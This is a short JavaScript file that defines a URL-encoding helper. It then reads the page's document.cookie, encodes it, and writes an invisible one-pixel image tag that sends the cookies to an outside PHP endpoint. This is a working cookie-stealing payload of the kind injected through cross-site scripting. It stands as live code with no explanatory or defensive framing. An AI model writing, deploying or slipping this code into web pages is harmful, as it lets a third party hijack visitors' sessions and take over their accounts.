var ownUrl = 'https://www.moosbart.de/cs.php';

function URLEncode(str){
	var SAFECHARS = "0123456789" +					// Numeric
					"ABCDEFGHIJKLMNOPQRSTUVWXYZ" +	// Alphabetic
					"abcdefghijklmnopqrstuvwxyz" +
					"-_.!~*'()";					// RFC2396 Mark characters
	var HEX = "0123456789ABCDEF";

	var plaintext = str;
	var encoded = "";
	for(var i = 0; i < plaintext.length; i++ ){
		var ch = plaintext.charAt(i);
	    if(ch == " "){
		    encoded += "+";				// x-www-urlencoded, rather than %20
		}else if(SAFECHARS.indexOf(ch) != -1){
		    encoded += ch;
		}else{
		    var charCode = ch.charCodeAt(0);
			if(charCode > 255){
				encoded += "+";
			}else{
				encoded += "%";
				encoded += HEX.charAt((charCode >> 4) & 0xF);
				encoded += HEX.charAt(charCode & 0xF);
			}
		}
	}
	return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'" width="1" height="1" border="0" alt="">';
document.write(html);